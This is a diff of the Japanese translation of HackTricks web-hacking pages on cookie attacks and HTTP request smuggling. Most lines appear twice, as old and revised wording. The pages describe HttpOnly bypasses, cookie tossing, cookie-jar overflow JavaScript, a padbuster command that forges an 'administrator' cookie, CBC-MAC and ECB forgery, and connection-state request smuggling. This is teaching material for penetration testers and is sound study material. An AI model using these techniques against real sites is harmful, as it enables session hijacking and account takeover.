- ページがリクエストのレスポンスとしてクッキーを**送信している**場合(例えば、**PHPinfo** ページで)、XSS を悪用してこのページにリクエストを送り、レスポンスから**クッキーを盗む**ことが可能です(例は [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) を参照)。
|
||||||
- **TRACE** **HTTP**リクエストを使用することでバイパス可能です。サーバーからのレスポンスは送信されたCookieを反映します。この技術は**Cross-Site Tracking**と呼ばれます。
|
- **TRACE** **HTTP** リクエストを使用することでバイパス可能です。サーバーからのレスポンスは送信されたクッキーを反映します。この技術は **Cross-Site Tracking** と呼ばれます。
|
||||||
- この技術は、**モダンブラウザがJSからTRACEリクエストを送信することを許可しないことによって回避されます**。ただし、IE6.0 SP2に対して`TRACE`の代わりに`\r\nTRACE`を送信するなど、特定のソフトウェアでのバイパスが見つかっています。
|
- この技術は、**モダンブラウザが JS から TRACE リクエストを送信することを許可しないことによって回避されます**。ただし、特定のソフトウェアでは、`TRACE` の代わりに `\r\nTRACE` を送信することでバイパスが見つかっています。
|
||||||
- もう一つの方法は、ブラウザのゼロデイ脆弱性を悪用することです。
|
- 別の方法は、ブラウザのゼロデイ脆弱性を悪用することです。
|
||||||
- Cookie Jarオーバーフロー攻撃を実行することで、**HttpOnly Cookieを上書きする**ことが可能です:
|
- クッキージャーオーバーフロー攻撃を実行することで、**HttpOnly クッキーを上書きする**ことが可能です:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
cookie-jar-overflow.md
|
cookie-jar-overflow.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- これらのCookieを外部に持ち出すために[**Cookie Smuggling**](./#cookie-smuggling)攻撃を使用することが可能です。
|
- これらのクッキーを外部に持ち出すために [**Cookie Smuggling**](./#cookie-smuggling) 攻撃を使用することが可能です。
|
||||||
|
|
||||||
### Secure
|
### Secure
|
||||||
|
|
||||||
リクエストは、**HTTPS**などの安全なチャネルを介して送信される場合にのみ、HTTPリクエストでCookieを**送信します**。
|
リクエストは、**HTTPS** などの安全なチャネルを介して送信される場合にのみ、HTTP リクエストでクッキーを**送信します**。
|
||||||
|
|
||||||
## Cookies Prefixes
|
## クッキーのプレフィックス
|
||||||
|
|
||||||
`__Secure-`で始まるCookieは、HTTPSで保護されたページから`secure`フラグとともに設定される必要があります。
|
`__Secure-` で始まるクッキーは、HTTPS によって保護されたページから `secure` フラグとともに設定される必要があります。
|
||||||
|
|
||||||
`__Host-`で始まるCookieには、いくつかの条件が満たされなければなりません:
|
`__Host-` で始まるクッキーには、いくつかの条件が満たされなければなりません:
|
||||||
|
|
||||||
- `secure`フラグで設定されなければなりません。
|
- `secure` フラグで設定されなければなりません。
|
||||||
- HTTPSで保護されたページから発信されなければなりません。
|
- HTTPS によって保護されたページから発信されなければなりません。
|
||||||
- ドメインを指定することは禁じられており、サブドメインへの送信を防ぎます。
|
- ドメインを指定することは禁じられており、サブドメインへの送信を防ぎます。
|
||||||
- これらのCookieのパスは`/`に設定されなければなりません。
|
- これらのクッキーのパスは `/` に設定されなければなりません。
|
||||||
|
|
||||||
`__Host-`で始まるCookieは、スーパードメインやサブドメインに送信されることは許可されていないことに注意することが重要です。この制限は、アプリケーションCookieを隔離するのに役立ちます。したがって、すべてのアプリケーションCookieに`__Host-`プレフィックスを使用することは、セキュリティと隔離を強化するための良いプラクティスと見なされます。
|
`__Host-` で始まるクッキーは、スーパードメインやサブドメインに送信されることは許可されていないことに注意することが重要です。この制限は、アプリケーションクッキーを隔離するのに役立ちます。したがって、すべてのアプリケーションクッキーに `__Host-` プレフィックスを使用することは、セキュリティと隔離を強化するための良いプラクティスと見なされます。
|
||||||
|
|
||||||
### Overwriting cookies
|
### クッキーの上書き
|
||||||
|
|
||||||
したがって、`__Host-`プレフィックスのCookieの保護の一つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。トークで[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))では、パーサーを騙すことでサブドメインから\_\_HOST-プレフィックスのCookieを設定することが可能であることが示されています。たとえば、最初や最後に"="を追加することなどです:
|
したがって、`__Host-` プレフィックスのクッキーの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md) を防ぎます。トークで [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**論文**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) では、パーサーを騙すことでサブドメインから __HOST- プレフィックスのクッキーを設定することが可能であることが示されています。たとえば、最初や最後に "=" を追加することです:
|
||||||
|
|
||||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
また、PHPでは、Cookie名の先頭に**他の文字を追加する**ことで、**アンダースコア**文字に置き換えられ、`__HOST-` Cookieを上書きすることが可能でした:
|
また、PHP では、クッキー名の先頭に**他の文字を追加する**ことで、**アンダースコア**文字に置き換えられ、`__HOST-` クッキーを上書きすることが可能でした:
|
||||||
|
|
||||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Cookies Attacks
|
## クッキー攻撃
|
||||||
|
|
||||||
カスタムCookieに機密データが含まれている場合は、確認してください(特にCTFをプレイしている場合)、脆弱性があるかもしれません。
|
カスタムクッキーに機密データが含まれている場合は、確認してください(特に CTF をプレイしている場合)、脆弱性があるかもしれません。
|
||||||
|
|
||||||
### Decoding and Manipulating Cookies
|
### クッキーのデコードと操作
|
||||||
|
|
||||||
Cookieに埋め込まれた機密データは常に精査されるべきです。Base64や類似の形式でエンコードされたCookieは、しばしばデコード可能です。この脆弱性により、攻撃者はCookieの内容を変更し、修正されたデータを再度Cookieにエンコードすることで他のユーザーを偽装することができます。
|
クッキーに埋め込まれた機密データは常に精査されるべきです。Base64 や類似の形式でエンコードされたクッキーは、しばしばデコード可能です。この脆弱性により、攻撃者はクッキーの内容を変更し、修正されたデータを再度クッキーにエンコードすることで他のユーザーを偽装することができます。
|
||||||
|
|
||||||
### Session Hijacking
|
### セッションハイジャック
|
||||||
|
|
||||||
この攻撃は、ユーザーのCookieを盗んで、アプリケーション内でのそのアカウントへの不正アクセスを得ることを含みます。盗まれたCookieを使用することで、攻撃者は正当なユーザーを偽装できます。
|
この攻撃は、ユーザーのクッキーを盗んで、アプリケーション内のアカウントに不正にアクセスすることを含みます。盗まれたクッキーを使用することで、攻撃者は正当なユーザーを偽装できます。
|
||||||
|
|
||||||
### Session Fixation
|
### セッション固定
|
||||||
|
|
||||||
このシナリオでは、攻撃者が被害者を特定のCookieを使用してログインさせるように仕向けます。アプリケーションがログイン時に新しいCookieを割り当てない場合、攻撃者は元のCookieを持っているため、被害者を偽装できます。この技術は、被害者が攻撃者が提供したCookieでログインすることに依存しています。
|
このシナリオでは、攻撃者が被害者を特定のクッキーを使用してログインさせるように仕向けます。アプリケーションがログイン時に新しいクッキーを割り当てない場合、攻撃者は元のクッキーを持っているため、被害者を偽装できます。この技術は、被害者が攻撃者が提供したクッキーでログインすることに依存しています。
|
||||||
|
|
||||||
**サブドメインにXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
|
**サブドメインに XSS を見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
cookie-tossing.md
|
cookie-tossing.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Session Donation
|
### セッション寄付
|
||||||
|
|
||||||
ここでは、攻撃者が被害者に攻撃者のセッションCookieを使用させるように仕向けます。被害者は自分のアカウントにログインしていると信じて、攻撃者のアカウントのコンテキストで意図せずにアクションを実行します。
|
ここでは、攻撃者が被害者に攻撃者のセッションクッキーを使用させるように仕向けます。被害者は自分のアカウントにログインしていると信じて、攻撃者のアカウントのコンテキストで意図せずにアクションを実行します。
|
||||||
|
|
||||||
**サブドメインにXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
|
**サブドメインに XSS を見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
cookie-tossing.md
|
cookie-tossing.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
### [JWT クッキー](../hacking-jwt-json-web-tokens.md)
|
||||||
|
|
||||||
前のリンクをクリックして、JWTの可能な欠陥を説明するページにアクセスしてください。
|
前のリンクをクリックして、JWT の可能な欠陥を説明するページにアクセスしてください。
|
||||||
|
|
||||||
Cookieで使用されるJSON Web Tokens(JWT)も脆弱性を示す可能性があります。潜在的な欠陥とそれを悪用する方法についての詳細情報を得るには、JWTのハッキングに関するリンクされた文書にアクセスすることをお勧めします。
|
クッキーで使用される JSON Web Tokens (JWT) も脆弱性を示す可能性があります。潜在的な欠陥とそれを悪用する方法についての詳細情報を得るには、JWT のハッキングに関するリンクされた文書にアクセスすることをお勧めします。
|
||||||
|
|
||||||
### Cross-Site Request Forgery (CSRF)
|
### クロスサイトリクエストフォージェリ (CSRF)
|
||||||
|
|
||||||
この攻撃は、ログイン中のユーザーに対して、現在認証されているWebアプリケーションで不要なアクションを実行させるものです。攻撃者は、脆弱なサイトへのすべてのリクエストに自動的に送信されるCookieを悪用できます。
|
この攻撃は、ログイン中のユーザーに対して、現在認証されているウェブアプリケーションで不要なアクションを実行させるものです。攻撃者は、脆弱なサイトへのすべてのリクエストに自動的に送信されるクッキーを悪用できます。
|
||||||
|
|
||||||
### Empty Cookies
|
### 空のクッキー
|
||||||
|
|
||||||
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照してください)ブラウザは名前のないCookieの作成を許可しており、次のようにJavaScriptを通じて示すことができます:
|
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照してください)ブラウザは名前のないクッキーの作成を許可しており、次のように JavaScript で示すことができます:
|
||||||
```js
|
```js
|
||||||
document.cookie = "a=v1"
|
document.cookie = "a=v1"
|
||||||
document.cookie = "=test value;" // Setting an empty named cookie
|
document.cookie = "=test value;" // Setting an empty named cookie
|
||||||
@ -159,15 +159,15 @@ setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
|||||||
|
|
||||||
#### Chromeのバグ: Unicodeサロゲートコードポイントの問題
|
#### Chromeのバグ: Unicodeサロゲートコードポイントの問題
|
||||||
|
|
||||||
Chromeでは、Unicodeサロゲートコードポイントがセットクッキーの一部である場合、`document.cookie` が破損し、その後空の文字列を返します:
|
Chromeでは、Unicodeサロゲートコードポイントがセットされたクッキーの一部である場合、`document.cookie` が破損し、その後空の文字列を返します:
|
||||||
```js
|
```js
|
||||||
document.cookie = "\ud800=meep"
|
document.cookie = "\ud800=meep"
|
||||||
```
|
```
|
||||||
この結果、`document.cookie`は空の文字列を出力し、永続的な破損を示します。
|
この結果、`document.cookie`が空の文字列を出力し、永続的な破損を示します。
|
||||||
|
|
||||||
#### パースの問題によるクッキーのスモグリング
|
#### パースの問題によるクッキーのスモグリング
|
||||||
|
|
||||||
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) Java(Jetty、TomCat、Undertow)やPython(Zope、cherrypy、web.py、aiohttp、bottle、webob)を含むいくつかのウェブサーバーは、古いRFC2965サポートのためにクッキー文字列を誤って処理します。彼らは、セミコロンを含んでいても、ダブルクオートされたクッキー値を単一の値として読み取ります。セミコロンは通常、キーと値のペアを区切るべきです。
|
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) Java(Jetty、TomCat、Undertow)やPython(Zope、cherrypy、web.py、aiohttp、bottle、webob)を含むいくつかのウェブサーバーは、古いRFC2965サポートのためにクッキーストリングを誤処理します。彼らは、セミコロンを含んでいても、ダブルクオートされたクッキー値を単一の値として読み取ります。セミコロンは通常、キーと値のペアを区切るべきです。
|
||||||
```
|
```
|
||||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
```
|
```
|
||||||
@ -179,11 +179,11 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||||||
- Zopeは、次のクッキーの解析を開始するためにカンマを探します。
|
- Zopeは、次のクッキーの解析を開始するためにカンマを探します。
|
||||||
- Pythonのクッキークラスは、スペース文字で解析を開始します。
|
- Pythonのクッキークラスは、スペース文字で解析を開始します。
|
||||||
|
|
||||||
この脆弱性は、クッキーベースのCSRF保護に依存するWebアプリケーションにとって特に危険であり、攻撃者が偽装されたCSRFトークンクッキーを注入し、セキュリティ対策を回避する可能性があります。この問題は、Pythonが重複したクッキー名を処理する方法によって悪化し、最後の出現が以前のものを上書きします。また、`__Secure-`および`__Host-`クッキーが不安全なコンテキストで扱われることに対する懸念も生じ、クッキーが偽装に対して脆弱なバックエンドサーバーに渡されると、認可のバイパスにつながる可能性があります。
|
この脆弱性は、クッキーベースのCSRF保護に依存するWebアプリケーションにとって特に危険であり、攻撃者が偽装されたCSRFトークンクッキーを注入し、セキュリティ対策を回避する可能性があります。この問題は、Pythonが重複したクッキー名を処理する方法によって悪化し、最後の出現が以前のものを上書きします。また、`__Secure-`および`__Host-`クッキーが安全でないコンテキストで扱われることに対する懸念を引き起こし、クッキーが偽装に対して脆弱なバックエンドサーバーに渡されると、認可のバイパスにつながる可能性があります。
|
||||||
|
|
||||||
### Cookies $version and WAF bypasses
|
### Cookies $version and WAF bypasses
|
||||||
|
|
||||||
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), **`$Version=1`**クッキー属性を使用して、バックエンドが**RFC2109**のために古いロジックを使用してクッキーを解析することが可能かもしれません。さらに、**`$Domain`**や**`$Path`**のような他の値も、クッキーを使用してバックエンドの動作を変更するために使用できます。
|
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), **`$Version=1`**というクッキー属性を使用して、バックエンドが**RFC2109**のために古いロジックを使用してクッキーを解析することが可能かもしれません。さらに、**`$Domain`**や**`$Path`**などの他の値を使用して、クッキーに対するバックエンドの動作を変更することができます。
|
||||||
|
|
||||||
#### Bypassing value analysis with quoted-string encoding
|
#### Bypassing value analysis with quoted-string encoding
|
||||||
|
|
||||||
@ -218,19 +218,19 @@ Resulting cookie: name=eval('test//, comment') => allowed
|
|||||||
|
|
||||||
- **クッキー**は、**ログイン**するたびに**同じ**です。
|
- **クッキー**は、**ログイン**するたびに**同じ**です。
|
||||||
- ログアウトして、同じクッキーを使用してみてください。
|
- ログアウトして、同じクッキーを使用してみてください。
|
||||||
- 2つのデバイス(またはブラウザ)で同じアカウントに同じクッキーを使ってログインしてみてください。
|
- 2つのデバイス(またはブラウザ)を使用して、同じアカウントに同じクッキーでログインしてみてください。
|
||||||
- クッキーに情報が含まれているか確認し、変更を試みてください。
|
- クッキーに情報が含まれているか確認し、変更を試みてください。
|
||||||
- ほぼ同じユーザー名でいくつかのアカウントを作成し、類似点が見えるか確認してください。
|
- ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見えるか確認してください。
|
||||||
- "**ログイン状態を保持する**"オプションが存在する場合、その動作を確認してください。存在し、脆弱である可能性がある場合は、他のクッキーを使用せずに**ログイン状態を保持する**のクッキーを常に使用してください。
|
- "**ログイン状態を保持**"オプションが存在する場合、その動作を確認してください。存在し、脆弱である可能性がある場合は、他のクッキーを使用せずに**ログイン状態を保持**のクッキーを常に使用してください。
|
||||||
- パスワードを変更しても前のクッキーが機能するか確認してください。
|
- パスワードを変更しても前のクッキーが機能するか確認してください。
|
||||||
|
|
||||||
#### **高度なクッキー攻撃**
|
#### **高度なクッキー攻撃**
|
||||||
|
|
||||||
ログイン時にクッキーが同じ(またはほぼ同じ)である場合、これはおそらくクッキーがアカウントのいくつかのフィールド(おそらくユーザー名)に関連していることを意味します。次に、あなたは:
|
ログイン時にクッキーが同じ(またはほぼ同じ)である場合、これはおそらくクッキーがアカウントのいくつかのフィールド(おそらくユーザー名)に関連していることを意味します。次に、以下を試みることができます:
|
||||||
|
|
||||||
- 非常に**似た**ユーザー名でたくさんの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。
|
- 非常に**似た**ユーザー名でたくさんの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。
|
||||||
- **ユーザー名をブルートフォース**してみてください。クッキーがあなたのユーザー名の認証方法としてのみ保存されている場合、ユーザー名"**Bmin**"でアカウントを作成し、クッキーのすべての**ビット**を**ブルートフォース**することができます。なぜなら、あなたが試すクッキーの1つは"**admin**"に属するものだからです。
|
- **ユーザー名をブルートフォース**してみてください。クッキーがユーザー名の認証方法としてのみ保存されている場合、ユーザー名"**Bmin**"でアカウントを作成し、クッキーのすべての**ビット**を**ブルートフォース**することができます。なぜなら、試すクッキーの1つは"**admin**"に属するものだからです。
|
||||||
- **パディング** **オラクル**を試してください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
|
- **パディング** **オラクル**を試みてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
|
||||||
|
|
||||||
**パディングオラクル - Padbusterの例**
|
**パディングオラクル - Padbusterの例**
|
||||||
```bash
|
```bash
|
||||||
@ -250,17 +250,17 @@ Padbusterは複数回試行し、どの条件がエラー条件(無効なも
|
|||||||
```
|
```
|
||||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||||
```
|
```
|
||||||
この実行により、文字列 **user=administrator** が内部に含まれたクッキーが正しく暗号化され、エンコードされます。
|
この実行により、**user=administrator**という文字列が含まれた正しく暗号化され、エンコードされたクッキーが得られます。
|
||||||
|
|
||||||
**CBC-MAC**
|
**CBC-MAC**
|
||||||
|
|
||||||
クッキーには何らかの値があり、CBCを使用して署名される可能性があります。その場合、値の整合性は、同じ値を使用してCBCで作成された署名です。IVとしてヌルベクターを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。
|
クッキーにはいくつかの値があり、CBCを使用して署名される可能性があります。すると、値の整合性は、同じ値を使用してCBCで作成された署名になります。IVとしてヌルベクターを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。
|
||||||
|
|
||||||
**攻撃**
|
**攻撃**
|
||||||
|
|
||||||
1. ユーザー名 **administ** の署名を取得 = **t**
|
1. ユーザー名 **administ** の署名を取得 = **t**
|
||||||
2. ユーザー名 **rator\x00\x00\x00 XOR t** の署名を取得 = **t'**
|
2. ユーザー名 **rator\x00\x00\x00 XOR t** の署名を取得 = **t'**
|
||||||
3. クッキーに値 **administrator+t'** を設定 (**t'** は **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** の有効な署名になります)
|
3. クッキーに値 **administrator+t'** を設定 (**t'** は **(rator\x00\x00\x00 XOR t) XOR t** の有効な署名になります = **rator\x00\x00\x00**)
|
||||||
|
|
||||||
**ECB**
|
**ECB**
|
||||||
|
|
||||||
@ -271,9 +271,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||||||
|
|
||||||
ほぼ同じデータ(ユーザー名、パスワード、メールなど)を持つ2つのユーザーを作成し、与えられたクッキー内のパターンを発見しようとします。
|
ほぼ同じデータ(ユーザー名、パスワード、メールなど)を持つ2つのユーザーを作成し、与えられたクッキー内のパターンを発見しようとします。
|
||||||
|
|
||||||
例えば "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" というユーザーを作成し、クッキーにパターンがあるかどうかを確認します(ECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります)。
|
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」というユーザーを作成し、クッキーにパターンがあるかどうかを確認します(ECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります)。
|
||||||
|
|
||||||
使用されるブロックのサイズでパターンが存在するはずです。したがって、"a" の一群がどのように暗号化されるかを知っていれば、ユーザー名を "a"\*(ブロックのサイズ)+"admin" と作成できます。その後、クッキーから "a" のブロックの暗号化パターンを削除することができます。そして、ユーザー名 "admin" のクッキーを得ることができます。
|
使用されるブロックのサイズでパターンが存在するはずです。したがって、「a」をブロックのサイズ分繰り返した後に「admin」を追加したユーザー名を作成できます。その後、クッキーから「a」のブロックの暗号化パターンを削除することができます。そして、ユーザー名「admin」のクッキーを得ることができます。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -1,9 +1,9 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**`Cookie bomb`** は、**ユーザーをターゲットにして、ドメインおよびそのサブドメインに大量の大きなクッキーを追加すること**を含みます。この行動は、被害者が**サーバーに対して過剰なHTTPリクエストを送信する**結果となり、これらはその後**サーバーによって拒否されます**。その結果、特定のユーザーに対してドメインおよびそのサブドメイン内でのサービス拒否(DoS)が引き起こされます。
|
**`Cookie bomb`** は、**ユーザーをターゲットにして、ドメインとそのサブドメインに大量の大きなクッキーを追加すること**を含みます。このアクションは、被害者が**サーバーに対して過剰なHTTPリクエストを送信する**結果となり、これらはその後**サーバーによって拒否されます**。これにより、特にそのドメインとサブドメイン内のユーザーを対象としたサービス拒否(DoS)が引き起こされます。
|
||||||
|
|
||||||
良い**例**はこのレポートに見ることができます: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
良い**例**は、この書き込みで見ることができます: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
||||||
|
|
||||||
さらに情報が必要な場合は、このプレゼンテーションを確認できます: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
|
さらに情報が必要な場合は、このプレゼンテーションをチェックできます: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
ブラウザには、ページごとに保存できる**クッキーの数の制限**があります。したがって、何らかの理由で**クッキーを消す必要がある**場合は、**クッキージャーをオーバーフロー**させることができます。そうすれば、最も古いクッキーが削除されます。
|
ブラウザには、ページごとに保存できる**クッキーの数の制限**があります。したがって、何らかの理由で**クッキーを消す必要がある**場合、**クッキージャーをオーバーフロー**させることができます。そうすれば、最も古いクッキーが削除されます。
|
||||||
```javascript
|
```javascript
|
||||||
// Set many cookies
|
// Set many cookies
|
||||||
for (let i = 0; i < 700; i++) {
|
for (let i = 0; i < 700; i++) {
|
||||||
@ -15,7 +15,7 @@ document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
|
|||||||
注意してください。異なるドメインを指すサードパーティのクッキーは上書きされません。
|
注意してください。異なるドメインを指すサードパーティのクッキーは上書きされません。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> この攻撃は、**HttpOnlyクッキーを上書きするためにも使用でき、削除してから希望の値でリセットできます**。
|
> この攻撃は、**HttpOnlyクッキーを上書きするためにも使用でき、削除してから希望の値でリセットすることができます**。
|
||||||
>
|
>
|
||||||
> これを[**このラボの投稿で確認してください**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)。
|
> これを[**このラボの投稿で確認してください**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)。
|
||||||
|
|
||||||
|
@ -34,13 +34,13 @@ Cookies Hackingセクションで示されたように、**クッキーがドメ
|
|||||||
|
|
||||||
この攻撃に対する可能な保護は、**ウェブサーバーが同じ名前の2つのクッキーを異なる値で受け入れないこと**です。
|
この攻撃に対する可能な保護は、**ウェブサーバーが同じ名前の2つのクッキーを異なる値で受け入れないこと**です。
|
||||||
|
|
||||||
攻撃者が被害者にクッキーを与えた後にクッキーを設定するシナリオを回避するために、攻撃者は**クッキーオーバーフロー**を引き起こし、その後、**正当なクッキーが削除されたら、悪意のあるクッキーを設定する**ことができます。
|
攻撃者が被害者にクッキーがすでに与えられた後にクッキーを設定するシナリオを回避するために、攻撃者は**クッキーオーバーフロー**を引き起こし、その後、**正当なクッキーが削除されたら、悪意のあるクッキーを設定する**ことができます。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
cookie-jar-overflow.md
|
cookie-jar-overflow.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
別の有用な**バイパス**は、**クッキーの名前をURLエンコードすること**です。いくつかの保護は、リクエスト内の同じ名前の2つのクッキーをチェックし、その後サーバーはクッキーの名前をデコードします。
|
もう一つの有用な**バイパス**は、**クッキーの名前をURLエンコードすること**です。いくつかの保護は、リクエスト内の同じ名前の2つのクッキーをチェックし、その後サーバーはクッキーの名前をデコードします。
|
||||||
|
|
||||||
### クッキーボム
|
### クッキーボム
|
||||||
|
|
||||||
|
@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
### 最初のリクエスト検証
|
### 最初のリクエスト検証
|
||||||
|
|
||||||
リクエストをルーティングする際、リバースプロキシは**Hostヘッダー**に依存して、宛先のバックエンドサーバーを特定することがあります。通常、アクセスが許可されているホストのホワイトリストに依存しています。しかし、一部のプロキシには、ホワイトリストが接続内の最初のリクエストにのみ適用されるという脆弱性があります。そのため、攻撃者は最初に許可されたホストにリクエストを行い、その後同じ接続を通じて内部サイトをリクエストすることでこれを悪用することができます。
|
リクエストをルーティングする際、リバースプロキシは**Hostヘッダー**に依存して、宛先のバックエンドサーバーを特定することがあり、アクセスが許可されたホストのホワイトリストに依存することがよくあります。しかし、一部のプロキシには、ホワイトリストが接続内の最初のリクエストにのみ適用されるという脆弱性があります。そのため、攻撃者は最初に許可されたホストにリクエストを行い、その後同じ接続を通じて内部サイトをリクエストすることでこれを悪用することができます。
|
||||||
```
|
```
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Host: [allowed-external-host]
|
Host: [allowed-external-host]
|
||||||
@ -26,7 +26,7 @@ Host: example.com
|
|||||||
POST /pwreset HTTP/1.1
|
POST /pwreset HTTP/1.1
|
||||||
Host: psres.net
|
Host: psres.net
|
||||||
```
|
```
|
||||||
この問題は、他の脆弱性を悪用したり、追加の仮想ホストへの不正アクセスを得るために、[Host header attacks](https://portswigger.net/web-security/host-header)(パスワードリセットポイズニングや[web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning)など)と組み合わせることができます。
|
この問題は、他の脆弱性を悪用したり、追加の仮想ホストへの不正アクセスを得るために、[Host header attacks](https://portswigger.net/web-security/host-header)や、パスワードリセットポイズニング、[web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning)と組み合わせることができます。
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> これらの脆弱性を特定するために、HTTP Request Smugglerの「connection-state probe」機能を利用できます。
|
> これらの脆弱性を特定するために、HTTP Request Smugglerの「connection-state probe」機能を利用できます。
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## What is
|
## What is
|
||||||
|
|
||||||
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間に**非同期化**が発生し、**攻撃者**がHTTP **リクエスト**を**送信**できる場合に発生します。このリクエストは、**フロントエンド**プロキシ(ロードバランサー/リバースプロキシ)によって**単一のリクエスト**として**解釈され**、**バックエンド**サーバーによって**2つのリクエスト**として**解釈されます**。\
|
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間に**非同期化**が発生することで、**攻撃者**がHTTP **リクエスト**を**送信**できるようになり、**フロントエンド**プロキシ(ロードバランス/リバースプロキシ)によって**単一のリクエスト**として**解釈**され、**バックエンド**サーバーによって**2つのリクエスト**として**解釈**されることを可能にします。\
|
||||||
これにより、ユーザーは**自分の次のリクエストをバックエンドサーバーに到着する前に**変更することができます。
|
これにより、ユーザーは**自分の次のリクエストをバックエンドサーバーに到着する前に**変更することができます。
|
||||||
|
|
||||||
### Theory
|
### Theory
|
||||||
@ -15,7 +15,7 @@
|
|||||||
|
|
||||||
**Content-Length**
|
